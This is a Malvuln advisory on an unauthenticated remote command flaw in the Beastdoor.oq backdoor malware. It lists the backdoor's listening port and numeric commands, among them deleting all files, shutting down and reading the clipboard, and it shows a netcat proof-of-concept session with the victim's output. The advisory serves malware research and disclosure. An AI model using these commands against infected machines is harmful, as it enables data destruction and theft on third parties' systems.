Backdoor.Win32.Beastdoor.oq MVID-2024-0674 Remote Command Execution

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https://malvuln.com/advisory/6268df4c9c805c90725dde4fe5ef6fea.txtContact: [email protected]: twitter.com/malvulnThreat: Backdoor.Win32.Beastdoor.oqVulnerability: Unauthenticated Remote Command ExecutionDescription: The malware listens on TCP port 1332, makes outbound connections to SMTP port 25 and executes a PE file named svchost.exe dropped in Windows directory. Third party adversaries who can reach an infected host can issue various numeric commands made available by the backdoor.Family: BeastdoorType: PE32MD5: 6268df4c9c805c90725dde4fe5ef6feaVuln ID: MVID-2024-0674Dropped files: svchost.exeDisclosure: 03/09/2024Commands:27 return victims username and computer information5 or 19 will shutdown victims computer6 restart victims computer9 delete all files including program files16 victim computer screen goes black28 returns clipboard information30 terminates the backdoor and deletes it from the systemExploit/PoC:C:\sec>nc64.exe x.x.x.x 13322727VICTIM DESKTOP-2C3IQHO Windows 8.1 Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHzC:\WINDOWS\C:\WINDOWS\system32\1565 x 8302.01svchost.exe svchost.exe2828I dont like u30Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).